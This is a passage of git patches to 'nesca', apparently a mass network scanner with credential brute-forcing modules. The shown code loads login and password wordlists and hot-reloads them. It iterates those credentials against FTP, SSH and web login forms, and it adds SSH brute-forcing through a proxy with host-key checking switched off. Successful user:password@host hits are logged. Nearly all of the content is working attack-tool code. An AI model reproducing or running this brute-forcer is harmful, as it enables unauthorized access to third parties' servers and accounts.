if(strstr(buffFG, "\n") != NULL) strncat(passLst[i++], buffFG, strlen(buffFG) - 1); + else strncat(passLst[i++], buffFG, strlen(buffFG)); + ZeroMemory(buffFG, sizeof(buffFG)); + }; + + stt->doEmitionGreenFoundData("Password list loaded (" + QString::number(MaxPass) + " entries)"); + + fclose(passList); + } + else + { + stt->doEmitionRedFoundData("No password list found"); + stt->doEmitionKillSttThread(); + }; +} +void *updateSSH() { + + if(sshlpLst != NULL) + { + for(int i = 0; i < MaxSSHPass; ++i) delete []sshlpLst[i]; + delete []sshlpLst; + sshlpLst = NULL; + }; + + MaxSSHPass = 0; + + char buffFG[32] = {0}; + ZeroMemory(buffFG, sizeof(buffFG)); + + FILE *sshlpList = fopen("sshpass.txt", "r"); + + if(sshlpList != NULL) + { + while(fgets(buffFG, 32, sshlpList) != NULL) + { + ++MaxSSHPass; + ZeroMemory(buffFG, sizeof(buffFG)); + }; + + rewind(sshlpList); + + sshlpLst = new char*[MaxSSHPass]; + + for(int j = 0; j < MaxSSHPass; j++) + { + sshlpLst[j] = new char[32]; + }; + + int i = 0; + while(fgets(buffFG, 32, sshlpList) != NULL) + { + memset(sshlpLst[i], 0, strlen(buffFG) + 1); + + if(strstr(buffFG, "\n") != NULL) strncat(sshlpLst[i++], buffFG, strlen(buffFG) - 1); + else strncat(sshlpLst[i++], buffFG, strlen(buffFG)); + ZeroMemory(buffFG, sizeof(buffFG)); + }; + + stt->doEmitionGreenFoundData("SSH Password list loaded (" + QString::number(MaxSSHPass) + " entries)"); + + fclose(sshlpList); + } + else + { + stt->doEmitionRedFoundData("No password/login list found"); + stt->doEmitionKillSttThread(); + }; +} +void *updateWFLogin() { + + if(wfLoginLst != NULL) + { + for(int i = 0; i < MaxWFLogin; ++i) delete []wfLoginLst[i]; + delete []wfLoginLst; + wfLoginLst = NULL; + }; + + MaxWFLogin = 0; + + char buffFG[32] = {0}; + ZeroMemory(buffFG, sizeof(buffFG)); + + FILE *wfLoginList = fopen("wflogin.txt", "r"); + + if(wfLoginList != NULL) + { + while(fgets(buffFG, 32, wfLoginList) != NULL) + { + MaxWFLogin++; + ZeroMemory(buffFG, sizeof(buffFG)); + }; + + rewind(wfLoginList); + + wfLoginLst = new char*[MaxWFLogin]; + + for(int j = 0; j < MaxWFLogin; j++) + { + wfLoginLst[j] = new char[32]; + }; + + int i = 0; + while(fgets(buffFG, 32, wfLoginList) != NULL) + { + memset(wfLoginLst[i], 0, strlen(buffFG) + 1); + + if(strstr(buffFG, "\n") != NULL) strncat(wfLoginLst[i++], buffFG, strlen(buffFG) - 1); + else strncat(wfLoginLst[i++], buffFG, strlen(buffFG)); + ZeroMemory(buffFG, sizeof(buffFG)); + }; + + stt->doEmitionGreenFoundData("WFLogin list loaded (" + QString::number(MaxWFLogin) + " entries)"); + fclose(wfLoginList); + } +} +void *updateWFPass() { + + if(wfPassLst != NULL) + { + for(int i = 0; i < MaxWFPass; ++i) delete []wfPassLst[i]; + delete []wfPassLst; + wfPassLst = NULL; + }; + + MaxWFPass = 0; + + char buffFG[32] = {0}; + ZeroMemory(buffFG, sizeof(buffFG)); + + FILE *wfPassList = fopen("wfpass.txt", "r"); + + if(wfPassList != NULL) + { + while(fgets(buffFG, 32, wfPassList) != NULL) + { + MaxWFPass++; + ZeroMemory(buffFG, sizeof(buffFG)); + }; + + rewind(wfPassList); + + wfPassLst = new char*[MaxWFPass]; + + for(int j = 0; j < MaxWFPass; j++) + { + wfPassLst[j] = new char[32]; + }; + + int i = 0; + while(fgets(buffFG, 32, wfPassList) != NULL) + { + memset(wfPassLst[i], 0, strlen(buffFG) + 1); + + if(strstr(buffFG, "\n") != NULL) strncat(wfPassLst[i++], buffFG, strlen(buffFG) - 1); + else strncat(wfPassLst[i++], buffFG, strlen(buffFG)); + ZeroMemory(buffFG, sizeof(buffFG)); + }; + + stt->doEmitionGreenFoundData("WFPassword list loaded (" + QString::number(MaxWFPass) + " entries)"); + fclose(wfPassList); + } +} + +long getFileSize(const char *fileName) { + std::ifstream in(fileName, std::ifstream::ate | std::ifstream::binary); + return in.tellg(); +} + +void updateList(const char *fileName, long *szPtr, void *funcPtr(void)) { + long sz = getFileSize(fileName); + + if(sz != *szPtr) { + + FileUpdater::lk = std::unique_lock<std::mutex> (FileUpdater::filesUpdatingMutex); + *szPtr = sz; + funcPtr(); + FileUpdater::lk.unlock(); + FileUpdater::ready = true; + FileUpdater::cv.notify_one(); + } +} + int FileUpdater::updateLists() { while(globalScanFlag) { - bool res = updateList("negatives.txt"); - res = updateList("login.txt"); - res = updateList("pass.txt"); - res = updateList("sshpass.txt"); - res = updateList("wflogin.txt"); - res = updateList("wfpass.txt"); + updateList("negatives.txt", &oldNegLstSize, updateNegatives); + updateList("login.txt", &oldLoginLstSize, updateLogin); + updateList("pass.txt", &oldPassLstSize, updatePass); + updateList("sshpass.txt", &oldSSHLstSize, updateSSH); + updateList("wflogin.txt", &oldWFLoginLstSize, updateWFLogin); + updateList("wfpass.txt", &oldWFPassLstSize, updateWFPass); Sleep(60000); } diff --git a/FileUpdater.h b/FileUpdater.h index 2c75840..4d5d58a 100644 --- a/FileUpdater.h +++ b/FileUpdater.h @@ -6,6 +6,8 @@ #endif #include <fstream> +#include <mutex> +#include <condition_variable> #include "externData.h" #include "externFunctions.h" @@ -17,12 +19,10 @@ public: static long oldSSHLstSize; static long oldWFLoginLstSize; static long oldWFPassLstSize; - static bool negUpdated; - static bool lUpdated; - static bool pUpdated; - static bool wflUpdated; - static bool wfpUpdated; - static bool sshlpUpdated; + static bool ready; + static std::condition_variable cv; + static std::mutex filesUpdatingMutex; + static std::unique_lock<std::mutex> lk; public: static int updateLists(); diff --git a/SSHAuth.cpp b/SSHAuth.cpp index 75885de..3398382 100644 --- a/SSHAuth.cpp +++ b/SSHAuth.cpp @@ -92,7 +92,6 @@ int SSHBrute(const char* host, int port, std::string *buffer, const char *banner for(int i = 0; i < MaxSSHPass; ++i) { if(!globalScanFlag) break; - if(!sshlpUpdated) Sleep(100); strcpy(temp, sshlpLst[i]); ptr1 = strstr(temp, ":"); if (ptr1 == NULL) { diff --git a/Threader.cpp b/Threader.cpp index 7817892..da8fca3 100644 --- a/Threader.cpp +++ b/Threader.cpp @@ -8,7 +8,6 @@ std::queue<std::string> Threader::ipQueue; void Threader::fireThread(std::string ip, void *func(void)) { - std::unique_lock<std::mutex> lk(m); ipQueue.push(ip); if(threadId < gThreads) { diff --git a/WebformWorker.cpp b/WebformWorker.cpp index 500c289..d556521 100644 --- a/WebformWorker.cpp +++ b/WebformWorker.cpp @@ -1,6 +1,5 @@ #include "WebformWorker.h" - -bool WFClass::active = false; +#include "FileUpdater.h" lopaStr WFClass::parseResponse(const char *ip, const int port, @@ -29,8 +28,6 @@ lopaStr WFClass::parseResponse(const char *ip, && Utils::ci_find_substr(*buffer, std::string("forbidden")) == -1 ) { - if(*iIndex == 0) return result; - stt->doEmition_BAGreenData("[+] " + QString(ip) + ":" + QString::number(port) + " - WF pass: " + QString(login) + ":" + QString(pass)); strcpy(result.login, login); @@ -66,13 +63,11 @@ lopaStr WFClass::doGetCheck(const char *ip, for(int i = 0; i < MaxWFLogin; ++i) { if(!globalScanFlag) break; - if(!wflUpdated) Sleep(100); strcpy(login, wfLoginLst[i]); for(int j = firstCycle; j < MaxWFPass; ++j) { if(!globalScanFlag) break; - if(!wfpUpdated) Sleep(100); strcpy(pass, wfPassLst[j]); int rSize = strlen(ip) + strlen(actionVal) + strlen(userVal) + strlen(login) + strlen(passVal) + strlen(pass) + 4; @@ -119,13 +114,11 @@ lopaStr WFClass::doPostCheck(const char *ip, for(int i = 0; i < MaxWFLogin; ++i) { if(!globalScanFlag) break; - if(!wflUpdated) Sleep(100); strcpy(login, wfLoginLst[i]); for(int j = firstCycle; j < MaxWFPass; ++j) { if(!globalScanFlag) break; - if(!wfpUpdated) Sleep(100); strcpy(pass, wfPassLst[j]); int rSize = strlen(ip) + strlen(actionVal) + strlen(userVal) + strlen(login) + strlen(passVal) + strlen(pass) + 4; diff --git a/WebformWorker.h b/WebformWorker.h index a44f271..3b7157f 100644 --- a/WebformWorker.h +++ b/WebformWorker.h @@ -10,13 +10,13 @@ class WFClass : BruteUtils { -private: static bool active; +private: int passCounter = 1; lopaStr doGetCheck(const char *ip, int port, char *actionVal, char *userVal, char *passVal, char *formVal); lopaStr doPostCheck(const char *ip, int port, char *actionVal, char *userVal, char *passVal, char *formVal); lopaStr parseResponse(const char *ip, const int port, const std::string *buffer, const char* formVal, - const int *iIndex, - const int *jIndex); + const char *login, + const char *pass); public: @@ -26,12 +26,10 @@ public: ++WF; BConInc(); - this->active = true; passCounter = 1; } ~WFClass(){ - this->active = false; BConDec(); } diff --git a/externFunctions.h b/externFunctions.h index 50b3df6..788a2e6 100644 --- a/externFunctions.h +++ b/externFunctions.h @@ -15,7 +15,7 @@ extern char* strstri(const char *_Str, const char *_SubStr); extern void nCleanup(); extern void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest); extern void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest); -extern std::string xcode(LPCSTR src, UINT srcCodePage, UINT dstCodePage); +//extern std::string xcode(LPCSTR src, UINT srcCodePage, UINT dstCodePage); extern void _SaveBackupToFile(); extern char *_findFirst(const char *str, char *delim); //extern int nConnect(char *ip, int port, std::string *buffer); diff --git a/nesca_startModule.cpp b/nesca_startModule.cpp index c1c45a0..039c126 100644 --- a/nesca_startModule.cpp +++ b/nesca_startModule.cpp @@ -762,7 +762,8 @@ void _connect() { while (globalScanFlag) { std::unique_lock<std::mutex> lk(Threader::m); Threader::cv.wait(lk, []{return Threader::ready; }); - if (Threader::threadId > gThreads || !globalScanFlag) { + + if (Threader::threadId > gThreads || !globalScanFlag) { --Threader::threadId; Threader::ready = false; lk.unlock(); @@ -1326,6 +1327,7 @@ char *GetCIDRRangeStr(char *str) { return result; } + int fInit(int InitMode, char *gR) { strcpy(metaRange, gR); if (InitMode == 0) From a17df57d904fbfe1f1bef0d150dbf197e208def3 Mon Sep 17 00:00:00 2001 From: cora48 <cora48@test123.ru> Date: Fri, 27 Mar 2015 13:38:38 +0300 Subject: [PATCH 63/66] Fixed ignoing of first string in negative list. --- .gitignore | 1 + FTPAuth.cpp | 3 ++ FileUpdater.cpp | 3 +- SSHAuth.cpp | 13 +++++++-- finder.cpp | 3 ++ nesca_startModule.cpp | 64 +++++++++++++++++++++---------------------- 6 files changed, 51 insertions(+), 36 deletions(-) diff --git a/.gitignore b/.gitignore index c517839..f16d26c 100644 --- a/.gitignore +++ b/.gitignore @@ -40,3 +40,4 @@ result_files-* nesca moc_* *~ +*.user diff --git a/FTPAuth.cpp b/FTPAuth.cpp index 3ba1817..4a7299d 100644 --- a/FTPAuth.cpp +++ b/FTPAuth.cpp @@ -1,4 +1,5 @@ #include "FTPAuth.h" +#include "FileUpdater.h" bool FTPA::checkOutput(const string *buffer) { if(Utils::ci_find_substr(*buffer, "230") != -1) { @@ -27,6 +28,7 @@ lopaStr FTPA::FTPBrute(const char *ip, const int port, PathStr *ps) { for(int i = 0; i < MaxLogin; ++i) { if(!globalScanFlag) return lps; + FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready;}); if(strlen(loginLst[i]) <= 1) continue; strcpy(login, loginLst[i]); @@ -34,6 +36,7 @@ lopaStr FTPA::FTPBrute(const char *ip, const int port, PathStr *ps) { for(int j = 0; j < MaxPass; ++j) { if(!globalScanFlag) return lps; + FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready;}); if(strlen(passLst[j]) <= 1) continue; strcpy(pass, passLst[j]); diff --git a/FileUpdater.cpp b/FileUpdater.cpp index 32b3f18..16709c1 100644 --- a/FileUpdater.cpp +++ b/FileUpdater.cpp @@ -27,7 +27,7 @@ void ReadUTF8(FILE* nFile, char *cp) { && (buffFG[0] == '\t' && buffFG[1] == '\t' && buffFG[2] == '\t' && (buffFG[3] == '/' && buffFG[4] == '/')) == false) { ++GlobalNegativeSize; - }; + } ZeroMemory(buffFG, sizeof(buffFG)); }; @@ -139,6 +139,7 @@ void negativeLoader() { } else { + rewind(nFile); ReadUTF8(nFile, "1251"); }; } diff --git a/SSHAuth.cpp b/SSHAuth.cpp index 3398382..0553112 100644 --- a/SSHAuth.cpp +++ b/SSHAuth.cpp @@ -1,4 +1,5 @@ #include "SSHAuth.h" +#include "FileUpdater.h" int _sshConnect(char *user, char *pass, const char *host, int port) { @@ -17,8 +18,9 @@ int _sshConnect(char *user, char *pass, const char *host, int port) ssh_options_set(my_ssh_session, SSH_OPTIONS_HOST, hostStr); ssh_options_set(my_ssh_session, SSH_OPTIONS_PORT, &port); - int sshTimeout = gTimeOut + 1; - ssh_options_set(my_ssh_session, SSH_OPTIONS_TIMEOUT, &sshTimeout); + ssh_options_set(my_ssh_session, SSH_OPTIONS_STRICTHOSTKEYCHECK, 0); + ssh_options_set(my_ssh_session, SSH_OPTIONS_GSSAPI_DELEGATE_CREDENTIALS, 0); + ssh_options_set(my_ssh_session, SSH_OPTIONS_TIMEOUT, &(gTimeOut + 1)); int rc = ssh_connect(my_ssh_session); @@ -91,17 +93,22 @@ int SSHBrute(const char* host, int port, std::string *buffer, const char *banner for(int i = 0; i < MaxSSHPass; ++i) { + FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready;}); if(!globalScanFlag) break; strcpy(temp, sshlpLst[i]); ptr1 = strstr(temp, ":"); - if (ptr1 == NULL) { + + if (ptr1 == NULL) { stt->doEmitionRedFoundData("[SSH]Wrong format: " + QString(temp)); return -1; } + sz = ptr1 - temp; strncpy(login, temp, sz); strcpy(pass, ptr1 + 1); + res = check_ssh_pass(login, pass, temp, host, port, buffer, banner); + ZeroMemory(login, sizeof(login)); ZeroMemory(pass, sizeof(pass)); ZeroMemory(temp, sizeof(temp)); diff --git a/finder.cpp b/finder.cpp index 221658f..81c4ff6 100644 --- a/finder.cpp +++ b/finder.cpp @@ -8,6 +8,7 @@ #include "FTPAuth.h" #include "SSHAuth.h" #include <memory> +#include "FileUpdater.h" char* strstri(const char *_Str, const char *_SubStr) { @@ -190,6 +191,8 @@ int globalSearchNeg(const char *buffcpy, const char *ip, int port) char negWord[256] = {0}; for(int i = 0; i < GlobalNegativeSize; ++i) { + + FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready;}); if(!globalScanFlag) return -1; strcpy(negWord, GlobalNegatives[i]); diff --git a/nesca_startModule.cpp b/nesca_startModule.cpp index 039c126..2ecc0e1 100644 --- a/nesca_startModule.cpp +++ b/nesca_startModule.cpp @@ -60,6 +60,38 @@ volatile int cons = 0; volatile int BrutingThrds = 0; volatile int threads = 20; +unsigned char tl(unsigned char d) +{ + if(d >= 192 && d <= 223) + { + return (unsigned char)(d + 32); + } + else + { + return tolower(d); + }; +} + +std::string toLowerStr(const char *str) +{ + if(str != NULL) { + int tsz = strlen(str); + char *strr = new char[tsz+1]; + ZeroMemory(strr, tsz); + + for (int i = 0; i < tsz; i++) + { + strr[i] = tl(str[i]); + }; + + memset(strr + tsz, '\0', 1); + + std::string tstr = std::string(strr); + delete []strr; + return tstr; + } else return ""; +} + void SaveErrorLog(char *sender, char *MesSent, char *ReplRecv) { FILE *errFile = fopen("./logs/ns-track_errors.html", "r"); @@ -725,38 +757,6 @@ unsigned long int numOfIps(int ipsstart[], int ipsend[]) { return gTargets; } -unsigned char tl(unsigned char d) -{ - if(d >= 192 && d <= 223) - { - return (unsigned char)(d + 32); - } - else - { - return tolower(d); - }; -} - -std::string toLowerStr(const char *str) -{ - if(str != NULL) { - int tsz = strlen(str); - char *strr = new char[tsz+1]; - ZeroMemory(strr, tsz); - - for (int i = 0; i < tsz; i++) - { - strr[i] = tl(str[i]); - }; - - memset(strr + tsz, '\0', 1); - - std::string tstr = std::string(strr); - delete []strr; - return tstr; - } else return ""; -} - void _connect() { std::string ip = ""; while (globalScanFlag) { From ff816f464580db6c118aded00b2735504324f0e2 Mon Sep 17 00:00:00 2001 From: cora48 <cora48@test123.ru> Date: Fri, 27 Mar 2015 16:38:53 +0300 Subject: [PATCH 64/66] Partially implemented ssh over socks --- FileUpdater.cpp | 30 ++++++--- FileUpdater.h | 4 +- SSHAuth.cpp | 146 +++++++++++++++++++++++++++--------------- nesca_startModule.cpp | 3 +- 4 files changed, 118 insertions(+), 65 deletions(-) diff --git a/FileUpdater.cpp b/FileUpdater.cpp index 16709c1..450fff1 100644 --- a/FileUpdater.cpp +++ b/FileUpdater.cpp @@ -416,7 +416,6 @@ void updateList(const char *fileName, long *szPtr, void *funcPtr(void)) { long sz = getFileSize(fileName); if(sz != *szPtr) { - FileUpdater::lk = std::unique_lock<std::mutex> (FileUpdater::filesUpdatingMutex); *szPtr = sz; funcPtr(); @@ -428,13 +427,26 @@ void updateList(const char *fileName, long *szPtr, void *funcPtr(void)) { int FileUpdater::updateLists() { while(globalScanFlag) { - updateList("negatives.txt", &oldNegLstSize, updateNegatives); - updateList("login.txt", &oldLoginLstSize, updateLogin); - updateList("pass.txt", &oldPassLstSize, updatePass); - updateList("sshpass.txt", &oldSSHLstSize, updateSSH); - updateList("wflogin.txt", &oldWFLoginLstSize, updateWFLogin); - updateList("wfpass.txt", &oldWFPassLstSize, updateWFPass); - - Sleep(60000); + Sleep(60000); + if(!globalScanFlag) break; + loadOnce(); } } + +int FileUpdater::loadOnce() { + updateList("negatives.txt", &oldNegLstSize, updateNegatives); + updateList("login.txt", &oldLoginLstSize, updateLogin); + updateList("pass.txt", &oldPassLstSize, updatePass); + updateList("sshpass.txt", &oldSSHLstSize, updateSSH); + updateList("wflogin.txt", &oldWFLoginLstSize, updateWFLogin); + updateList("wfpass.txt", &oldWFPassLstSize, updateWFPass); +} + +void FileUpdater::FUClear() { + oldNegLstSize = 0; + oldLoginLstSize = 0; + oldPassLstSize = 0; + oldSSHLstSize = 0; + oldWFLoginLstSize = 0; + oldWFPassLstSize = 0; +} diff --git a/FileUpdater.h b/FileUpdater.h index 4d5d58a..8ad1dd3 100644 --- a/FileUpdater.h +++ b/FileUpdater.h @@ -26,8 +26,8 @@ public: public: static int updateLists(); - static void passLoginLoader(); - static void negativeLoader(); + static int loadOnce(); + static void FUClear(); }; #endif // FILEUPDATER_H diff --git a/SSHAuth.cpp b/SSHAuth.cpp index 0553112..10a9ab0 100644 --- a/SSHAuth.cpp +++ b/SSHAuth.cpp @@ -1,54 +1,97 @@ #include "SSHAuth.h" #include "FileUpdater.h" -int _sshConnect(char *user, char *pass, const char *host, int port) -{ +int _sshConnect(const char *user, const char *pass, const char *host, int port) { + + CURL *curl = curl_easy_init(); + curl_easy_setopt(curl, CURLOPT_NOSIGNAL, 0L); char hostStr[128] = {0}; ZeroMemory(hostStr, sizeof(hostStr)); strcpy(hostStr, user); strcat(hostStr, "@"); strcat(hostStr, host); + int sshTimeout = gTimeOut + 1; - ssh_session my_ssh_session = ssh_new(); - if (my_ssh_session == NULL) + if (curl) { - ssh_free(my_ssh_session); - return -1; - }; + curl_easy_setopt(curl, CURLOPT_URL, host); + curl_easy_setopt(curl, CURLOPT_PORT, port); + curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); + curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); + int proxyPort = std::atoi(gProxyPort); + if(strlen(gProxyIP) != 0 && (proxyPort > 0 && proxyPort < 65535)) { + curl_easy_setopt(curl, CURLOPT_PROXY, gProxyIP); + curl_easy_setopt(curl, CURLOPT_PROXYPORT, proxyPort); + } else { + curl_easy_setopt(curl, CURLOPT_PROXY, ""); + } + curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, gTimeOut); + curl_easy_setopt(curl, CURLOPT_TIMEOUT, gTimeOut); + curl_easy_setopt(curl, CURLOPT_CONNECT_ONLY, 1L); - ssh_options_set(my_ssh_session, SSH_OPTIONS_HOST, hostStr); - ssh_options_set(my_ssh_session, SSH_OPTIONS_PORT, &port); - ssh_options_set(my_ssh_session, SSH_OPTIONS_STRICTHOSTKEYCHECK, 0); - ssh_options_set(my_ssh_session, SSH_OPTIONS_GSSAPI_DELEGATE_CREDENTIALS, 0); - ssh_options_set(my_ssh_session, SSH_OPTIONS_TIMEOUT, &(gTimeOut + 1)); + int res = curl_easy_perform(curl); - int rc = ssh_connect(my_ssh_session); + socket_t sock; + curl_easy_getinfo(curl, CURLINFO_LASTSOCKET, &sock); - if (rc != SSH_OK) - { - ssh_disconnect(my_ssh_session); - ssh_free(my_ssh_session); - ++offlines; - return -2; + if(res != CURLE_OK) { + curl_easy_cleanup(curl); + ++ssh; + stt->doEmitionRedFoundData("[SSH]Cannot connect to: " + QString(host) + ":" + QString::number(port)); + return 0; + } + + if(sock != -1) { + ssh_session ssh_session = ssh_new(); + if (ssh_session == NULL) + { + ssh_free(ssh_session); + curl_easy_cleanup(curl); + return -1; + }; + + ssh_options_set(ssh_session, SSH_OPTIONS_STRICTHOSTKEYCHECK, 0); + ssh_options_set(ssh_session, SSH_OPTIONS_GSSAPI_DELEGATE_CREDENTIALS, 0); + ssh_options_set(ssh_session, SSH_OPTIONS_TIMEOUT, &sshTimeout); + + //Fails to work on libssh-4.5 https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=688700 + res = ssh_options_set(ssh_session, SSH_OPTIONS_FD, &sock); + + res = ssh_connect(ssh_session); + + if (res != SSH_OK) //Offline + { + ssh_disconnect(ssh_session); + ssh_free(ssh_session); + curl_easy_cleanup(curl); + ++offlines; + return -2; + } + else + { + res = ssh_userauth_password(ssh_session, NULL, pass); + if (res != SSH_AUTH_SUCCESS) + { + ssh_disconnect(ssh_session); + ssh_free(ssh_session); + curl_easy_cleanup(curl); + return -1; + }; + }; + + ssh_disconnect(ssh_session); + ssh_free(ssh_session); + } else { + stt->doEmitionRedFoundData("[SSH]Socket = -1 " + QString(host) + ":" + QString::number(port)); + } } - else - { - rc = ssh_userauth_password(my_ssh_session, NULL, pass); - if (rc != SSH_AUTH_SUCCESS) - { - ssh_disconnect(my_ssh_session); - ssh_free(my_ssh_session); - return -1; - }; - }; - ssh_disconnect(my_ssh_session); - ssh_free(my_ssh_session); + + curl_easy_cleanup(curl); ++ssh; return 0; } -char _get_ssh_banner(const char *ip, int port) -{ +char _get_ssh_banner(const char *ip, int port) { char recvBuff[256] = {0}; std::string buffer; Connector::nConnect(ip, port, &buffer); @@ -63,14 +106,17 @@ char _get_ssh_banner(const char *ip, int port) return *recvBuff; } -int check_ssh_pass(char *user, char *pass, char *userPass, const char *host, int port, std::string *buffer, const char *banner) -{ +int check_ssh_pass(const char *user, const char *pass, + const char *userPass, const char *host, int port, + std::string *buffer, const char *banner) { int res = -1; - if(BALogSwitched) stt->doEmitionBAData("Probing SSH: " + QString(user) + ":" + QString(pass) + "@" + QString(host) + ":" + QString::number(port)); + if(BALogSwitched) stt->doEmitionBAData("Probing SSH: " + QString(userPass) + "@" + QString(host) + ":" + QString::number(port)); + res = _sshConnect(user, pass, host, port); + if(res == 0) { - stt->doEmition_BAGreenData("[+] SSH: " + QString(user) + ":" + QString(pass) + "@" + QString(host)); + stt->doEmition_BAGreenData("[+] SSH: " + QString(userPass) + "@" + QString(host)); buffer->append(userPass); buffer->append("@"); buffer->append(host); @@ -78,37 +124,31 @@ int check_ssh_pass(char *user, char *pass, char *userPass, const char *host, int buffer->append(banner); return 0; }; + return res; } -int SSHBrute(const char* host, int port, std::string *buffer, const char *banner) -{ +int SSHBrute(const char* host, int port, std::string *buffer, const char *banner) { char login[32] = {0}; char pass[32] = {0}; char temp[64] = {0}; - BruteUtils::BConInc(); - int sz = 0; char *ptr1 = 0; int res = -1; for(int i = 0; i < MaxSSHPass; ++i) { - FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready;}); if(!globalScanFlag) break; strcpy(temp, sshlpLst[i]); ptr1 = strstr(temp, ":"); if (ptr1 == NULL) { - stt->doEmitionRedFoundData("[SSH]Wrong format: " + QString(temp)); - return -1; - } + stt->doEmitionRedFoundData("[SSH]Wrong format: " + QString(temp)); + return -1; + } - sz = ptr1 - temp; - strncpy(login, temp, sz); + strncpy(login, temp, ptr1 - temp); strcpy(pass, ptr1 + 1); - res = check_ssh_pass(login, pass, temp, host, port, buffer, banner); - ZeroMemory(login, sizeof(login)); ZeroMemory(pass, sizeof(pass)); ZeroMemory(temp, sizeof(temp)); @@ -116,18 +156,15 @@ int SSHBrute(const char* host, int port, std::string *buffer, const char *banner if(res == 0) { if(i == 0) return -2; //Failhit - BruteUtils::BConDec(); return 1; } else if(res == -2) { - BruteUtils::BConDec(); return -2; }; Sleep(500); }; - BruteUtils::BConDec(); return -1; } @@ -138,7 +175,10 @@ int SSHAuth::SSHLobby(const char *ip, int port, std::string *buffer) const char &banner = _get_ssh_banner(ip, port); if(strlen(&banner) > 0) { - return SSHBrute(ip, port, buffer, &banner); + BruteUtils::BConInc(); + int res = SSHBrute(ip, port, buffer, &banner); + BruteUtils::BConDec(); + return res; }; return -1; } diff --git a/nesca_startModule.cpp b/nesca_startModule.cpp index 2ecc0e1..0beeb5f 100644 --- a/nesca_startModule.cpp +++ b/nesca_startModule.cpp @@ -1825,7 +1825,7 @@ int startScan(char* args) { stt->doEmitionIPRANGE(QString("--")); stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); - + FileUpdater::loadOnce(); runAuxiliaryThreads(); if (gMode == 0) @@ -2115,6 +2115,7 @@ int startScan(char* args) { } void nCleanup(){ + FileUpdater::FUClear(); Threader::cleanUp(); curl_global_cleanup(); From e388bad99d968caf43f41715bf0384e2225e02c7 Mon Sep 17 00:00:00 2001 From: cora48 <cora48@test123.ru> Date: Fri, 27 Mar 2015 16:52:30 +0300 Subject: [PATCH 65/66] -- --- .gitignore | 1 + qrc_nesca_3.cpp | 4 ++-- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/.gitignore b/.gitignore index f16d26c..35abe43 100644 --- a/.gitignore +++ b/.gitignore @@ -41,3 +41,4 @@ nesca moc_* *~ *.user +Makefile diff --git a/qrc_nesca_3.cpp b/qrc_nesca_3.cpp index fc3a379..56d4d68 100644 --- a/qrc_nesca_3.cpp +++ b/qrc_nesca_3.cpp @@ -9,7 +9,7 @@ #include <QtCore/qglobal.h> static const unsigned char qt_resource_data[] = { - // /home/kvs/Documents/CProjects/nesca/Eurostile.ttf + 0x0,0x0,0x94,0xe4, 0x0, 0x1,0x0,0x0,0x0,0xc,0x0,0x80,0x0,0x3,0x0,0x40,0x4f,0x53,0x2f,0x32,0x73, @@ -2395,7 +2395,7 @@ static const unsigned char qt_resource_data[] = { 0x72,0x6f,0x6e,0x5,0x44,0x65,0x6c,0x74,0x61,0x0,0x0,0x40,0xa,0x3,0x3,0x2, 0x2,0x1,0x1,0x0,0x0,0x0,0x30,0xb8,0x1,0x24,0x85,0x1d,0x13,0x0,0x3f,0x3f, 0x3f,0x3f,0x1, - // /home/kvs/Documents/CProjects/nesca/nesca.ico + 0x0,0x0,0x0,0x91, 0x0, 0x0,0x4,0x7e,0x78,0x9c,0x63,0x60,0x60,0x4,0x42,0x1,0x1,0x6,0x20,0xa9,0xc0, From d5845731b98ddf9480c3e0179cadf749e3653057 Mon Sep 17 00:00:00 2001 From: cora48 <cora48@test123.ru> Date: Fri, 27 Mar 2015 17:12:58 +0300 Subject: [PATCH 66/66] FileUpdater fixes --- FileUpdater.cpp | 23 ++++++++++++++++------- 1 file changed, 16 insertions(+), 7 deletions(-) diff --git a/FileUpdater.cpp b/FileUpdater.cpp index 450fff1..32c80c6 100644 --- a/FileUpdater.cpp +++ b/FileUpdater.cpp @@ -114,7 +114,9 @@ void ReadUTF8(FILE* nFile, char *cp) { ZeroMemory(buffFG, sizeof(buffFG)); }; - stt->doEmitionGreenFoundData("Negative list loaded (" + QString::number(GlobalNegativeSize) + " entries)"); + if(FileUpdater::oldNegLstSize == 0) stt->doEmitionGreenFoundData("Negative list loaded (" + QString::number(GlobalNegativeSize) + " entries)"); + else stt->doEmitionFoundData("<font color=\"Pink\">Negative list updated (" + QString::number(GlobalNegativeSize) + " entries)</font>"); + ZeroMemory(buffFG, sizeof(buffFG)); fclose(nFile); } @@ -197,7 +199,8 @@ void *updateLogin() { ZeroMemory(buffFG, sizeof(buffFG)); }; - stt->doEmitionGreenFoundData("Login list loaded (" + QString::number(MaxLogin) + " entries)"); + if(FileUpdater::oldLoginLstSize == 0) stt->doEmitionGreenFoundData("Login list loaded (" + QString::number(MaxLogin) + " entries)"); + else stt->doEmitionFoundData("<font color=\"Pink\">Login list updated (" + QString::number(MaxLogin) + " entries)</font>"); fclose(loginList); } @@ -249,7 +252,8 @@ void *updatePass() { ZeroMemory(buffFG, sizeof(buffFG)); }; - stt->doEmitionGreenFoundData("Password list loaded (" + QString::number(MaxPass) + " entries)"); + if(FileUpdater::oldPassLstSize == 0) stt->doEmitionGreenFoundData("Password list loaded (" + QString::number(MaxPass) + " entries)"); + else stt->doEmitionFoundData("<font color=\"Pink\">Password list updated (" + QString::number(MaxPass) + " entries)</font>"); fclose(passList); } @@ -302,7 +306,8 @@ void *updateSSH() { ZeroMemory(buffFG, sizeof(buffFG)); }; - stt->doEmitionGreenFoundData("SSH Password list loaded (" + QString::number(MaxSSHPass) + " entries)"); + if(FileUpdater::oldSSHLstSize == 0) stt->doEmitionGreenFoundData("SSH Password list loaded (" + QString::number(MaxSSHPass) + " entries)"); + else stt->doEmitionFoundData("<font color=\"Pink\">SSH list updated (" + QString::number(MaxSSHPass) + " entries)</font>"); fclose(sshlpList); } @@ -355,7 +360,9 @@ void *updateWFLogin() { ZeroMemory(buffFG, sizeof(buffFG)); }; - stt->doEmitionGreenFoundData("WFLogin list 